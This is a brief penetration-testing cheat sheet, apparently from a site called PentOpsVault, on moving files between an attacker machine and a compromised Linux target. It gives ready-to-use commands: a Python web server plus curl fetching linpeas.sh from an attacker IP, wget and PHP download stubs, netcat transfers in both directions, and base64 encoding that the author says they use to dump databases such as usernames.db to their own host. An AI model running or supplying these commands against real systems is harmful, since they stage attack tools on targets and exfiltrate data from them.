PentOpsVault @syztem4our666
Internet IconPentOpsVault
background

Transfer Files

Techinque

Transfer Files

Methods on Linux

1. Python Webserver

Start a simple web server to host files:

python3 -m http.server 80

Imagine you want to transfer linpeas.sh to the target machine, so you do

curl -o linpeas.sh http://yourip:80/linpeas.sh

2. Wget

Download a file using wget:

wget http://192.168.1.102/file.txt

3. Curl

Download with curl:

curl -O http://192.168.1.102/file.txt

4. Netcat

From attacker to target:

On the attacker machine:

nc -lvp 4444 < file

On the target machine:

nc 192.168.1.102 4444 > file

From target to attacker:

On the target machine:

nc -lvp 3333 > file.sh

On the attacker machine:

nc 192.168.1.103 < file.sh

5. PHP

Download a file using PHP:

echo "<?php file_put_contents('file.txt', fopen('http://192.168.1.102/file.txt', 'r')); ?>" > download.php

6. Base64 Transfer

Encode a file:

One of my favorites, especially I use it for dump databases to my host

Copy the output of encoding in Base64

base64 usernames.db > encodedb.txt

Decode on target:

Now on your host

base64 -d encodeddb.txt > usernames.db

On this page